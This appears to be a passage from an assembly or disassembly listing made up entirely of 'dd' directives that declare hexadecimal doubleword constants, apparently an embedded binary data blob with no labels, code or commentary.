dd 6B431990h, 8AD0C2B4h, 97E27EFEh, 35928F0Ch, 5EFF45D2h
dd 55DEADDDh, 1602FA50h, 0AA753DA4h, 60F84904h, 363B4AE2h
dd 0C4A54A00h, 683D291Dh, 441C334Ch, 8B376192h, 2B146AD1h
dd 0AAB0E904h, 7BEDA79Ch, 4590299h, 277F148Ch, 9D559E2h
dd 55D35F9Dh, 0F2348E92h, 0F925B9ACh, 75C99154h, 0C177709Ah
dd 8FA531ABh, 8622AA52h, 9C4C9F0Bh, 2DB45E24h, 0C68FAD3Dh
dd 0F9DF5FE7h, 8AD7DEF6h, 8CD645E2h, 3A50E916h, 33A8810Bh
dd 6F25E46Ah, 90F5C630h, 88DE4BABh, 0F5A61DF8h, 712A852Dh
dd 0D9324C35h, 95958929h
dd 73D88B09h, 975605EBh, 0F043B607h, 35A88A3Dh, 0F8896ACFh
dd 0C506255Dh, 0BDB550CCh, 792E1190h, 71ADA8AAh, 0D2B9897Bh
dd 2BF3FDABh, 0DCC90770h, 0B82856B0h, 0BCA69326h, 7B1C3CE0h
dd 1620F6BFh, 9359FCC6h, 0AC590900h, 0B5CD304Fh, 0FC127CC5h
dd 72824ADBh, 907DC02Bh, 0F4CE2902h, 0C98A0064h, 0AEEE08E1h
dd 80092C9Dh, 40AC6CC1h, 4A5BD849h, 0F8E5F9BAh, 22F82CC0h
dd 0E5741C2Ch, 2EA136EDh, 27CB17F8h, 7D6DF80Dh, 0D8D135C7h
dd 83BBF4Bh, 70253031h, 12EF25DEh, 3D7743E2h, 0B64200F2h
dd 4C9B76FEh, 48877A03h, 0ACE381FFh, 7D0533C2h, 0CC698C6Dh
dd 7ED2077Ah, 6007A9A4h, 0FB9D37EEh, 7169A7BEh, 5C59AD93h
dd 2F174676h, 285A7E9Eh, 2465258Fh, 55C4E459h, 8065A053h
dd 568FE725h, 1546D43Ah, 51E7870Ch, 324059F2h, 0DBE0A05Bh
dd 0ADB64AB9h, 800F8831h, 50A7CE44h, 74EC58E0h, 1270FD16h
dd 0B0DC2901h, 5620E1FFh, 0CA9B4B2Fh, 4DB33B74h, 4B72EC21h
dd 3571CA57h, 0B28747A4h, 4EBCDE24h, 23015DA3h, 39B8DCBFh
dd 6ED86012h, 637225B4h, 0AB0441E2h, 5E41BCDAh, 85E333B6h
dd 1714C498h, 229CBF4Ch, 3944B513h, 2B8AFE01h, 1EC2B1D4h
dd 2000F02Fh, 9DCC5F81h, 0A81B4AD5h, 0A40DC8E0h, 5246A5C6h
dd 0BDA8FC4Ah, 499B0BAAh, 72FE8B90h, 82EC97E9h, 54B50BB5h
dd 0AE00F485h, 5F292FAFh, 25807BB1h, 1265F4D3h, 50DD8A05h
dd 6047DE58h, 15BA1266h, 422DEF45h, 8457957Fh, 66D30162h
dd 2B472BBFh, 0E18C0025h, 0BB9B30A3h, 45665A36h, 1170B200h
dd 998D13E0h, 0E416FE10h, 0DC789458h, 5BE66A01h, 0D5228037h
dd 25850F20h, 0E32E1F01h, 0FF48C5F2h, 444D588Fh, 0E92469BCh
dd 0F5920C62h, 1676FDE3h, 0AA1799BDh, 46E10075h, 0B432E67Fh
dd 0E8802DEDh, 6E9D0B5h, 9B92088h, 0F6A116F1h, 0C97784E4h
dd 8EC11200h, 0E0555742h, 0ADD40977h, 38556ED1h, 841BA1A6h
dd 0CC959CB2h, 0E3104413h, 8363D3B5h, 0CE8D6692h, 2E659AB1h
dd 816FB612h, 0C8304A7Eh, 6B002858h, 6CB88BDBh, 0CC4CB5h
dd 0C17817E7h, 4D3FBF50h, 8B689E2Dh, 0DC7B5640h, 1B335A10h
dd 257FDB1Dh, 0BAF665Fh, 572BA4CCh, 0D4591D89h, 0E51D0FA4h
dd 12687EE0h, 42EBC539h, 5F704E7Fh, 27358057h, 951459CAh
dd 0BF1837B7h, 97E01A50h, 3DF1961Ah, 0B7C91C25h, 0C9BB5198h
dd 4A1E233Eh, 6089C8EAh, 6EE3F0C1h, 88266149h, 47DF93Ch
dd 979855C7h, 0EC78B90Eh, 0B9308C15h, 0CDCB7634h, 9994953Ch
dd 2B9E535Bh, 772FDDC0h, 3616A40Dh, 3AACAD89h, 501CE110h
dd 2341F5C5h, 0E0498660h, 0E9631A96h, 52464733h, 5939FB16h
dd 8300FCF7h, 480491Ah, 244B3845h, 0FABC8B8Eh, 43811497h
dd 0FEDA4BD5h, 0EC316980h, 65249FCEh, 23048EFEh, 12D0D9BDh
dd 62810F5Bh, 0DE8A3302h, 955AF596h, 37B734B7h, 0F4B2D026h
dd 9BF2A862h, 32237F5Eh, 7DB8D824h, 6F092FDAh, 52F82EEh
dd 7EF3D2Eh, 0E0A2B796h, 990B7116h, 9355BF02h, 56F84AAFh
dd 9D296198h, 0BBD5CECDh, 0FF85A22Ch, 0BA50E924h, 4D8A438Ch
dd 0F85162F9h, 1AAABDF7h, 0D574C1CEh, 0A01800F6h, 8EF69DE8h
dd 3A978829h, 0D42B5E1Ch, 0ADBED40Bh, 3002D7E3h, 45752309h
dd 0D95BA5DAh, 0B701A750h, 0D9B7D6D0h, 0B0BF44B8h, 67954103h
dd 0ADB525A3h, 8BEE630h, 11A17A5h, 81C5FFB5h, 0A7C3CAEEh
dd 0CD559CE7h, 81AB00FBh, 0D456C8EBh, 0C2832512h, 16C0669Bh
dd 0F89367AFh, 0BE60BF07h, 7D1052F9h, 9E958D89h, 461127Ch
dd 0B81F511Fh, 0BC2B5957h, 6C6E2F34h, 892FF6DEh, 0AF655BA9h
dd 0FF4B5FEDh, 6B246E6Ch, 1D099364h, 7965732Fh, 1D6C191Ch
dd 4EDC2782h, 310C2250h, 65059195h, 0F3A155B5h, 0D5B0AC4Ah
dd 0BDF42B0Fh, 7F66A400h, 0DA9CFBFh, 45BFB02Ah, 646312h
dd 0A6BA44B6h, 1C463E8Ch, 52C87195h, 1261BC49h, 0E6BF1CB1h
dd 94B0F015h, 0A284098Dh, 0C4808EC0h, 57683EBFh, 0EEC1585Ah
dd 0EA0430EDh, 89886EC2h, 9FC420h, 649F4766h, 0A759DE1h
dd 0B054100h, 0C885156Dh, 0BBFFE1Ch, 66273501h, 0F6482955h
dd 1D17DC14h, 0B6840BBEh, 6EA374FFh, 1D23CCh, 0D61715A7h
dd 2E0966F5h, 717C72B6h, 0B70F84BBh, 0A290B8FBh, 73DE2B5Dh
dd 96252910h, 0E85254F8h, 0D59C1DE8h, 464878C3h, 4C40D80Fh
dd 473007E9h, 0E0FA6679h, 25B460F7h, 61369897h, 0ED965B5Bh
dd 17FB800h, 29371A09h, 0C87ED777h, 5BB5860Fh, 29031236h
dd 0B3342B6Ah, 2E6EC2AEh, 0E4046D75h, 0D1B66019h, 99534CC1h
dd 0ECDF6038h, 88B2C257h, 0E95FF861h, 5BAEB72Ah, 6A8414DAh
dd 0A3E3B8BCh, 0DB0B8741h, 5085789Ah, 1071BE2Fh, 1F4B5ABh
dd 0BC3F925Fh, 2F54A913h, 0BD330430h, 0E21B4AC5h, 0A7044F55h
dd 0CFAA3D4Eh, 1A64A82h, 58139DA0h, 1BA20112h, 23794104h
dd 618EB016h, 58BFE92Dh, 607B8D99h, 0D8F65FF8h, 1679BDCFh
dd 0E5611C0Ch, 84C15E8Bh, 0C102B8B5h, 7662BB50h, 1B2C39C9h
dd 0BC6AF813h, 0A9D9C034h, 819AE2h, 99B523DEh, 0AED46228h
dd 4A47EB02h, 0BD6A85D3h, 22D008Ah, 0F3C8B28Dh, 20EFD09Fh
dd 5B4A2909h, 9D8030EFh, 98331E1h, 8247CC0h, 1F780AF3h
dd 522F09B3h, 0DD70FC5Fh, 4DC6396h, 5190FD72h, 0D35AAC5Fh
dd 0A0C130FFh, 0EE00264Ah, 1942B0BCh, 258CDCEDh, 617B90ECh
dd 99AE70h, 8EBF973h, 8DD780C8h, 0E8906A5Dh, 0CF7304A7h
dd 0C12D06AFh, 6202F121h, 53BB0251h, 5E0142FFh, 0D98B622Ah
dd 7C863A57h, 0F701D44Bh, 34BDABE3h, 0E7FD6A9Dh, 12D56A70h
dd 0EDD1FF5Fh, 56B8A5h, 0BFBB6AFDh, 81367A83h, 923EEF3Ch
dd 4FF27080h, 10B1EA92h, 6F06F36h, 0BD132959h, 3FAA0AF1h
dd 1D23FBh, 0C94F3B0Ah, 0E10BED7Ch, 98FAEF44h, 76DA28h
dd 0DFB8A45Fh, 57BD7484h, 9665601h, 0DC8A5090h, 2D1D2h
dd 9CDF80AAh, 81008CFFh, 6434DED8h, 0B5E9FC24h, 9300C3C4h
dd 6BEA0526h, 2E37079Dh, 0C94FF98Ch, 8A83C271h, 0D8BAA491h
dd 0E899F42h, 0E15118B4h, 0BE665D07h, 0C0E95F42h, 20A21C57h
dd 0FC5A2486h, 290A06A3h, 0A5C6E98Dh, 0F3A58E5Bh, 6D315094h
dd 0B9D6D305h, 8FEA69Fh, 0ACA4043Ch, 0ABE6A009h, 7066D36Ch
dd 1000DA6Ah, 1BA56B12h, 7C2D0F67h, 642FFD80h, 6521C135h
dd 0AE22A0Ah, 0F631BF92h, 0DA6A5B53h, 0C716C8B2h, 6A4D81F5h
dd 0C2205AFFh, 717E2E3Eh, 0D5E204A7h, 6030A59Eh, 64A251Fh
dd 0C19ADBEAh, 26FEE6E7h, 0D8C5132Ah, 53127354h, 45F65289h
dd 19D6322h, 0B08CC8A0h, 2AC05C28h, 0DA9F3DF6h, 6B9B3300h
dd 0DB25CD8Ch, 0F9E400BDh, 14BBEE46h, 4A2551BCh, 0D146E85Bh
dd 0E2BF840Ah, 91445C0Eh, 0ADB44A2Bh, 23BD2385h, 88F554A5h
dd 70690281h, 0BF2EF10Eh, 0C82B5C40h, 5A059529h, 5795B42Dh
dd 82F7CAC2h, 9E9143F3h, 8F0F2555h, 0ABC0CFEAh, 30404195h
dd 6EB0F061h, 222DB883h, 0FD032B15h, 79494755h, 0AB65D62Eh
dd 1D81C220h, 0A9800004h, 2318468Bh, 6302214Fh, 17D3BC7Fh
dd 284F960h, 83130EDEh, 81F1E275h, 62DB513h, 0F05B6D92h
dd 9C905320h, 5F726006h, 0E016DF8Bh, 5D8D2F09h, 30C67C54h
dd 39909759h, 4F04FD6Dh, 0AA89FDBh, 503930FEh, 1C0354A2h
dd 90560913h, 1E1B7C1h, 914212B8h, 8B602062h, 0F10581C7h
dd 77D9D3Dh, 231DD9AAh, 0D9670064h, 9743A5E3h, 4F6D12F5h
dd 2219F24Bh, 0D9F94B3Ah
dd 0A1E90214h, 990818D9h, 84AF2032h, 0BDAF86B5h, 0E380FE79h
dd 0DEA71C28h, 8C2C0049h, 0C3BF3DDCh, 724A874Bh, 28A660AAh
dd 4D9707A5h, 2919E06Eh, 4E129F11h, 0A1BA9D31h, 79E77A1Ah
dd 0D5B8BAA4h, 2CC74B50h, 9B8C18Eh, 0E076880Ah, 0FD0B846Ah
dd 0D337D513h, 0C8601496h, 0A89CB917h, 4B8D89A5h, 0BFCE00ADh
dd 140B37Bh, 37458B97h, 0C3E8A584h, 514A84AAh, 0C64E26EEh
dd 4A249D20h, 0BDA0C8FCh, 8138D00h, 0F7CBD160h, 0BB710226h
dd 9544D79Dh, 0F915F957h, 0CB484817h, 0C4F7490Eh, 482367BFh
dd 0A4E4FBh, 0FDEF9D43h, 949252C9h, 4A992703h, 0E886D175h
dd 1CD22BB4h, 0D2433FBBh, 0D735F37Ah, 3DA1EB06h, 9528F6E2h
dd 29C186D6h, 0B76A1DB5h, 0B0684680h, 4D22A29Eh, 0DA4A9C2Fh
dd 0C018C8F9h, 4DBB4128h, 3060B92Eh, 801D6560h, 5A160088h
dd 8E87E0C5h, 0C8047868h, 2EFB4599h, 0FEC711FDh, 0ABDF3461h
dd 6A2A9B9Dh, 0B31104C4h, 30BCFA8Bh, 61C4DAADh, 0BDE01B03h
dd 0A1296CEBh, 870424B1h, 0F9A5B795h, 6EC42279h, 0E74A3355h
dd 0D80DA139h, 0C893DA2Bh, 0FDE1C018h, 0DD3B645Bh, 0BC225DFFh
dd 0BE29021Ch, 2A69BD31h, 43DB9CD5h, 3114F2F3h, 3A282F84h
dd 7A44D2E5h, 3E660083h, 0D1BF80F8h, 7675259Dh, 7E1D5AE5h
dd 0D04EF3AFh, 0B32C603Bh, 6E02FEDDh, 5E44FA2Fh, 9E412D74h
dd 0ECC96A20h, 4B541164h, 123CD24Eh, 611D6FD5h, 0C6608F21h
dd 8984B5D1h, 4B9335BDh, 9CCBE361h, 0A427E6AFh, 97F1BE9Ch
dd 0FF992C46h, 6E52CD80h, 25DD9002h, 0ED7CDC47h, 424B9E2h
dd 0C5A3BC5Bh, 58B0DA8Ah, 0D98B8802h, 0CB26DA94h, 5630710Ah
dd 0F6454632h, 7517BF5Dh, 0C339AA24h, 6997206Ah, 0E4F5B27Ah
dd 5D9523E2h, 8770BD12h, 66505F2Dh, 0F5ACF596h, 56A36003h
dd 0DF00B23Ah, 0BE261A9Eh, 6A9AB8Fh, 6515CD7Ch, 0F8384A57h
dd 5648EB5Fh, 8049B508h, 58523CA7h, 0C009E098h, 7977C71Ah
dd 0C1E9E24Fh, 0BF2D4E52h, 25B84EFBh, 3E7B266Dh, 1D8DBF81h
dd 0DA2B74C7h, 0C017C81Dh, 99C157DEh, 310829BCh, 0FBD2320Bh
dd 0ED3760FDh, 5BB78B30h, 0A70ABDD5h, 71493376h, 49299D51h
dd 3FD51371h, 0F81209F7h, 1D117537h, 75DEFB80h, 7D002A0Dh
dd 7094B5C4h, 97A6DF80h, 85646776h, 4B2A8BFAh, 0C0DB9084h
dd 91FD87C1h, 96516035h, 2B210ABDh, 261353Ah, 0D8B009ABh
dd 46D62B5Eh, 622E001Ah, 0C636CBAAh, 8075B18Ch, 0EA63B6B1h
dd 5B01F8B9h, 57211468h, 1EE0BF29h, 0B03C4B74h, 223EEB16h
dd 43AC4E48h, 0E6F500AAh, 8A74BB1Ch, 9040272Bh, 0BA132DD2h
dd 44B66C42h, 0F88B127Dh, 0B826AD90h, 5838BF8Ah, 5E821405h
dd 7C600912h, 9A06B550h, 88E0F44h, 8D535E41h, 3AE37FC0h
dd 188B0F82h, 5FE03A5Eh, 0E054C1Ch, 0B6B010A8h, 0B1E4F5E0h
dd 0B7046CF2h, 0DDED8028h, 7BA7A5B8h, 0E9DE8098h, 0D30E476Bh
dd 432278A3h, 0A724AA73h, 0F0162A53h, 611723E3h, 7F6BFF5Fh
dd 0B12B9CE5h, 0E55FB725h, 4330B97h, 14F4317Ch, 0DD45FAD5h
dd 565F08B3h, 93F001A6h, 0B2BF6CFBh, 0CA7B63A0h, 373AD726h
dd 2EED8D61h, 28B5AB44h, 0CF82C59Fh, 0ECFFE5ACh, 41079843h
dd 0BB3E2024h, 5DEE9825h, 7195D344h, 9FE100FEh, 5735235Eh
dd 3420965Ah, 953FB38h, 0CBF1F417h, 19896553h, 0D18F5B2Fh
dd 10E1D0CEh, 67C67304h, 0E4801530h, 0AA2C2DF3h, 0B9EFDF88h
dd 6D712060h, 96E80013h, 0C604E381h, 8CB23FECh, 0A5B8D19Fh
dd 46D68954h, 123B001Dh, 19D31ED4h, 542516BCh, 13448249h
dd 3E5745F5h, 0EA208516h, 605B696Fh, 0EAFA58A1h, 85295104h
dd 70D01DA1h, 9D15810Fh, 7A00E36Eh, 1F130A2Fh, 6B8FF803h
dd 5FF4A4C5h, 83F15B92h, 23E6E2Fh, 341CE73Bh, 0D9AD8372h
dd 50F9000Ah, 0BCD78120h, 694A3739h, 14B2BEE6h, 1201EC30h
dd 0F710B585h, 4B8D4850h, 9825DECh, 0D5D26D8Dh, 0D0447397h
dd 781F206Ah, 2642CB50h, 0F6DAE570h, 0DD6C402Eh, 624B6A8Bh
dd 15C8919Ah, 7D1D6EC2h, 0E300DE12h, 0C5ACAF15h, 6D038200h
dd 81A0043Dh, 2F27B8C3h, 97543CF1h, 0C28BBCD6h, 37D9ABC5h
dd 0EF477600h, 5BB34A27h, 0AFED01D9h, 2F505B90h, 1AC32CCh
dd 0BC174B70h, 2AF1CB8Bh, 0A0BA2AD4h, 91A65266h, 109C6205h
dd 62BA0BA4h, 0DC5F0934h, 246BB152h, 9612F5Bh, 220BD9BFh
dd 9D35A025h, 5C739D22h, 1401B525h, 8B844C8Ah, 0D6D3B8D9h
dd 76013A4Bh, 1646DE44h, 8410BC00h, 19FBBB53h, 0DC4B3327h
dd 0B77A275Bh, 42CE9595h, 0A4681D25h, 0FBBFEE89h, 0B5DBC9ADh
dd 0DE3650h, 9A1F944Ah, 5057791Ch, 715BF92Dh, 5C5B2F29h
dd 27A48D0h, 0F413F98Bh, 90D7F5CDh, 88140Fh, 6D3CBAFAh
dd 0D56A54F0h, 29165674h, 0CF4C58Dh, 0A4EF95C6h, 0CEAAF344h
dd 0F2DF008Eh, 0E90CF65Ah, 0C1F3441Dh, 4178D2B3h, 0CD859765h
dd 0A0F257A1h, 0F01B0E79h, 0B42DEA81h, 0E014C5C2h, 831C3D1Ch
dd 333FFCFh, 832E79Fh, 0D767A9CCh, 0EC7C61D9h, 0C22B5883h
dd 0BEF01A35h, 4D380E02h, 12A2E15Ah, 0B7C00EC2h, 0D0033C50h
dd 323A813Bh, 44841945h, 9C2D70FCh, 11E912B0h, 0A5E8692h
dd 0B9FD21C6h, 4F3C401Ah, 12097DC8h, 0D6E78B81h, 2D196312h
dd 5B67F805h, 0D1A60C1Ch, 2CB53720h, 1208B64Dh, 64459D61h
dd 6D41058Fh, 316FC483h, 308B5162h, 811410B0h, 6014B0A9h
dd 0C03359B5h, 268990C3h, 64282CDDh, 0B3BB5224h, 0D26802EEh
dd 57D49AA7h, 8DD275DCh, 82020804h, 8E275445h, 0EA258DD3h
dd 93D51F33h, 0F052FBB5h, 0B6242DA3h, 258D1706h, 0A57A8101h
dd 34922E1Fh, 7494A2E1h, 3730F75Bh, 9D1E737Dh, 0C1497A9Fh
dd 0E1686624h, 0B0A7A72Fh, 2F9D33B1h, 0CAFB28E1h, 18EDD7A5h
dd 0BDD5BB60h, 9D70390Eh, 0B9D010ADh, 2A26912Bh, 33EE178h
dd 65902C1h, 465EEB27h, 0C08B7E31h, 9BF4ECh, 1C409A32h
dd 0E777355Ch, 0BEF33903h, 0C06076D1h, 3DBCAF7h, 28FF3FFCh
dd 0D3A0D812h, 0A200F5FAh, 935EA796h, 6656FEF7h, 21EF08BBh
dd 96AA1A00h, 84BC941Bh, 0D78006Dh, 0CEA6775Ch, 0E400FCD6h
dd 0D5FAE075h, 7333FFh, 0F9DE8A72h, 26D744DBh, 34FB9301h
dd 0D41E5A3Dh, 0F0BB189Dh, 0A9D39530h, 68FCBD37h, 392EDF80h
dd 2F760330h, 177ED9DEh, 21E70830h, 3926BCh, 682B5158h
dd 3B8AF0A7h, 0F5BE22h, 56BA106Eh, 5AC747FBh, 78879F31h
dd 0D006F442h, 18AD3C81h, 34390832h, 0E3C44F76h, 392AB843h
dd 9FF850E0h, 8D786100h, 58742FFDh, 0FC013FF7h, 328A0506h
dd 60C868E3h, 3931C1ACh, 8387133h, 0B988E830h, 0ED390529h
dd 40F8F4B3h, 43085A68h, 0A1B053D1h, 0B00B7801h, 0F96E6A05h
dd 30AB3442h, 2E11392Ch, 0EB881F76h, 3924BE80h, 0A8E516ADh
dd 9E15D8h, 0CE7C4C6Fh, 2A77087Eh, 23838B1Fh, 2BC955DFh
dd 0D2180034h, 0A1E08E6Fh, 0BEE460F8h, 0E5AB1E0Eh, 6A94077h
dd 0B1045AA3h, 6407A5F6h, 0AA0B8EDDh, 30FFA600h, 0F431C23h
dd 5CDE400Dh, 8531D469h, 3C10A330h, 0E688105h, 0DF479EF9h
dd 4376DC3h, 3166AA80h, 4863FE36h, 0DA8B0210h, 0A885B90Bh
dd 80FC090Eh, 4F52EEF8h, 0A23000A6h, 0DDAA081h, 103C6E1h
dd 3BD9943h, 4298E0ACh, 30AFE26Bh, 9F41B8E9h, 0C876C79Dh
dd 0A337CD07h, 69A07BC6h, 3947FA63h, 3383AE80h, 0B2E9B134h
dd 0B7EA8900h, 0D1A95742h, 3594028Eh, 0AD209395h, 70E9D041h
dd 3F00DE11h, 0A26781A6h
dd 79E538A3h, 0D7BD0F23h, 9F80B003h, 0A5FF4C60h, 902F0F1Dh
dd 66A9003Bh, 9ED5E727h, 30F90F42h, 5E20EA4Ah, 6C3B983Ch
dd 87CDAC00h, 71C4AE7Dh, 938C0083h, 0D1487470h, 0D40030F2h
dd 4A310966h, 0F3E372h, 2487CFDFh, 1DA87F63h, 71E44500h
dd 0D7DCC979h, 6FBD0CF3h, 61193470h, 80FC3026h, 0C8FCB1Eh
dd 79BC2098h, 6027BBEh, 427836FFh, 0F30799F8h, 0E7709587h
dd 0A470CC0h, 0C0437C5Ch, 2BD93788h, 0F6009CAAh, 5D72AE9Dh
dd 1DB3FEh, 0A5616DC3h, 0CC2E33DDh, 669C3100h, 6A03D019h
dd 176B3E4Ah, 41F260E0h, 50DFD9C7h, 7587C400h, 0C0F19C24h
dd 0BD282110h, 0EC007C98h, 0B6CEBEE4h, 3EF9108h, 0FF233C51h
dd 0E0A379CDh, 17814107h, 0DF00FE1Bh, 40B079Bh, 568F6D38h
dd 0B57EC057h, 3B605BDAh, 4E4914C1h, 7A3912C8h, 0B1B000B2h
dd 64086B88h, 0A9D7B806h, 1E58C143h, 0C06F33EDh, 2F404457h
dd 4703B4C9h, 0E83ED551h, 0A7C7D8FDh, 37CA0006h, 0EC1F88C5h
dd 987708D4h, 4DFF7000h, 0CDF6D860h, 1AA700BCh, 7997D6B3h
dd 0A6736D0Ah, 2CC6CA07h, 5F678Bh, 55404F04h, 0BB970058h
dd 0D75B1FAh, 0BF305328h, 2ACA2095h, 7A3729D3h, 6328E220h
dd 39538E30h, 400E5A7h, 0A096C564h, 0B8C0C6CDh, 69E80FAAh
dd 0C1010348h, 0C0F94B0Bh, 2100B4A3h, 7FE7D68Dh, 29A2C35h
dd 30997822h, 704143B8h, 0AAD88A2Dh, 4A062879h, 10E02E8Ch
dd 7D79Dh, 5532E901h, 3ED92FE1h, 0DC8052C2h, 2A106491h
dd 8B3E2DFDh, 1481400Bh, 54F02C1Bh, 8CBFB8h, 0BC73AFCCh
dd 3323F68Ah, 0A895CB00h, 3AD10C0Fh, 90016783h, 0DB7B528Ch
dd 38D08888h, 30CF4A2h, 0B8E4DA16h, 34A81B10h, 0E6C061E3h
dd 8001C19Ah, 96EC743Ch, 898A444h, 92FC21C9h, 0B4A3C100h
dd 0C7BC7F38h, 0AF9E3AE5h, 0C5002040h, 46CC07C2h, 61E3BE1Bh
dd 7E8839BAh, 26B8DC6Dh, 384F6209h, 0BB6680A9h, 307B0851h
dd 0C628A69Dh, 0A006F87h, 0F7442E0Ch, 0CA4C64BAh, 80B4D208h
dd 0E80A37A4h, 3C067AE5h, 0BB47293Eh, 0FA940E88h, 28182CB2h
dd 480C36A7h, 0F801D538h, 0A8B069Eh, 219663B2h, 0AE290314h
dd 1B8900D0h, 39D1C965h, 2C69C1DAh, 40E4FF7Bh, 8045B8A0h
dd 0CCCC0C3Ah, 0F1FA36E0h, 73C00318h, 0BA60B26Ah, 1518593Ah
dd 78C4CCD6h, 8672E600h, 0D9567F9Fh, 998EDE0h, 7B4621F3h
dd 62FCD5F4h, 22352900h, 25B70E0Dh, 277E0045h, 0AA9ECC50h
dd 0C56F338Ah, 1C608378h, 85D8072Ah, 0C6BB5287h, 6320C05Fh
dd 88AC8108h, 0A046E18h, 0F61C2E03h, 0A520D832h, 0E00A36h
dd 61CC1334h, 0D2983F20h, 979F571Bh, 8FD7B879h, 9D781894h
dd 8CCD39D6h, 0D80045EAh, 7F961F2Fh, 1E93C3h, 0BBB96142h
dd 3C6560C4h, 0D0A3293Eh, 863C34D4h, 50722B2h, 0C59C74CEh
dd 7C5C0801h, 0F0A6AC0h, 0F73C212Eh, 6900D591h, 7AAA0A32h
dd 0BD49E3A8h, 0A11A0038h, 0D7E1ACF0h, 0F863ECCFh, 0FCCB0205h
dd 0C6AB5387h, 44942462h, 703318FDh, 242E2B0Ah, 0E11198h
dd 4F0A3BA0h, 6F9FA0Fh, 0E2FC84A3h, 40081BFh, 734BDA9Eh
dd 711EAB61h, 0DC8700F4h, 8D4344C5h, 83183002h, 0E188B1EFh
dd 2977B55h, 26D4DB58h, 0BC603873h, 0E5674516h, 5F91BF70h
dd 27E1C6A2h, 402C0020h, 7F0947E7h, 8EAC3417h, 278460C8h
dd 4982ED4Bh, 8A0858D3h, 0A303C6BDh, 0E60468h, 98506438h
dd 5534B91Bh, 2B208C90h, 402462CBh, 28412858h, 0C0851452h
dd 4AB00418h, 9FAA322Dh, 3A20A220h, 254D831h, 7C4B25BBh
dd 9C4ADE2Dh, 88868806h, 2CC55620h, 4128B2E2h, 30C95B9Dh
dd 47005FBCh, 78885E9Fh, 0CA0BBB0Fh, 81B8AA60h, 9C73C92Eh
dd 3AD054D9h, 0D223D8h, 46967685h, 0C94C32B2h, 6E40058h
dd 1F613C60h, 0F5090CEh, 28B01782h, 3B079094h, 0A0A2ED51h
dd 0CD09CA1Ah, 7F87EC91h, 6E349886h, 49222F62h, 0D875437Ch
dd 3BBFF50Dh, 28988955h, 452621FAh, 0E04D4814h, 0B82E0AC8h
dd 3943FC6Bh, 0D0D848A8h, 9D013523h, 6C3C73C1h, 589C818h
dd 503EC1E8h, 4037D870h, 6F16B8C7h, 0F501D65Fh, 0E517FDCCh
dd 263D0064h, 0A4E47B59h, 76B80C24h, 51C29520h, 80D01830h
dd 0CE38E3F8h, 859A443Ah, 9CF37926h, 25511009h, 0F041A334h
dd 2E74609Bh, 160D8A4h, 8AAB1D98h, 0DEC99BB3h, 0A3C5E038h
dd 170418C0h, 0CCA971B1h, 7D90E754h, 8DEC4F03h, 616D9801h
dd 11877821h, 4F79CC24h, 709307Ch, 11DD9C98h, 0BCF97B14h
dd 0C412F88Ch, 0E2609E39h, 75B2A921h, 0EF960198h, 8761DC59h
dd 7B4C34CBh, 7FF42F1Fh, 0A83BD980h, 0B2394Eh, 0B6361F82h
dd 293098FFh, 0BD923C00h, 9AD8FE5h, 0CD150F83h, 0F0B9A539h
dd 9C0BF88Eh, 99D5A900h, 0D981EF55h, 1B6C01B9h, 0EB3130E8h
dd 82408394h, 3DBEF44Fh, 8180DE58h, 6CF6B8E3h, 0CCB10F72h
dd 0F018C879h, 7F55ABE8h, 30E1F2A0h, 4011890h, 114833E8h
dd 572CC4h, 0D2A6E808h, 0C937A34Dh, 0E011850Eh, 0FE729BFh
dd 1C41B24Ch, 8B5B2D26h, 53D16874h, 7900D033h, 5B2924D3h
dd 0A0B0F1BEh, 0B3641250h, 0A1082C30h, 34B23893h, 80110B2Eh
dd 71827F3Ch, 236B8A17h, 2F1BB002h, 0BC60E0D0h, 0C31988F7h
dd 0F3394716h, 6607FC40h, 43197CCh, 13F8542h, 7D448096h
dd 87481417h, 59300220h, 0E0B81AD0h, 90EFD14h, 0C01F819Dh
dd 0F5736448h, 3CD67A14h, 2FAFE120h, 38E42818h, 74EBC124h
dd 247281BAh, 0B483532Dh, 85458C40h, 0CE7D2AAAh, 47D10880h
dd 2E0307E6h, 0B973373h, 52256B28h, 803AD837h, 2E56425Dh
dd 0F86E0EFAh, 27E80DB2h, 70B88BA4h, 3F09B834h, 82966015h
dd 0E4CC06F4h, 0CD0C2154h, 9D868081h, 0FB18667Fh, 0F4894488h
dd 420415C2h, 3F05E8BBh, 1CC6751h, 381F88C4h, 82A855DCh
dd 4446AE94h, 3029246h, 21486DE8h, 594BFC33h, 43B2F180h
dd 2F50A860h, 5A58CCB0h, 0A59BC050h, 493E7A04h, 0CC18D81Dh
dd 3B3AA9F9h, 97672200h, 926220D2h, 8DF72C99h, 7C010FCh
dd 43E4B280h, 28C0A4B4h, 6CE63E5h, 0CF824270h, 5B004903h
dd 488B1576h, 0D04D4Ah, 5792946Bh, 0B86843C8h, 819EFCA8h
dd 2FD10A02h, 23BFF353h, 1BC22EBDh, 0AC0F0A8h, 39849470h
dd 0E80D01C6h, 0C0F1486Fh, 8B88BE0Ch, 0FAE700D4h, 45D3C87Ch
dd 132C5C3Ah, 0EA01AC9Dh, 651CBA53h, 0A0A31630h, 83C508B8h
dd 0FCCC76D8h, 8FC7C9CBh, 0D609800Ch, 7D6E20h, 96C14615h
dd 0B827ED24h, 792A4100h, 0AABC0B81h, 30F8B983h, 21FB1668h
dd 29ED2CBh, 210803C8h, 21DAC75Bh, 6334F1F0h, 45EE17D4h
dd 919330Fh, 48446D5h, 7F9C8673h, 2B2E628Eh, 7840160Fh
dd 6F922C03h, 7F503500h, 0D2C7A802h, 0A0BE53A7h, 8130B2A2h
dd 55430096h, 2E7320B8h, 46136C2Ch, 903A0B25h, 0DE00B223h
dd 1F35BA38h, 84BE49E3h, 7DA40C00h, 8C8BC494h, 2B906D7Fh
dd 54EC4B02h, 0C13E8A39h, 0AC508380h, 0FDA530A3h, 0F7282020h
dd 90649432h, 0E80E6097h, 0F9482470h, 0D58A7010h, 9D09E700h
dd 0CAA4C7CFh, 0D3C40364h, 0F2053043h, 532C6002h, 6CA6B18Fh
dd 9A377C4h, 0D7FC3F79h, 0C224D804h, 6D308940h, 2E02110Ah
dd 80DE8814h, 440A35A2h, 86005D29h, 0E74D79BEh, 581A3930h
dd 9F8E709Eh, 736D00B0h, 0B6C43C81h, 9774A8Ah, 9980A5C0h
dd 0E2B5CC9Fh, 4602B700h, 28830C23h, 2C27E6F6h, 42BCBC1Fh
dd 0E000A105h, 6CD4611h
dd 2E59DD0Bh, 0D920F0C8h, 5CAA01DEh, 0A0E73EE8h, 0C3F610C4h
dd 3C750091h, 62A2F3DAh, 3CB1CCA1h, 0DB0C1D01h, 22893E52h
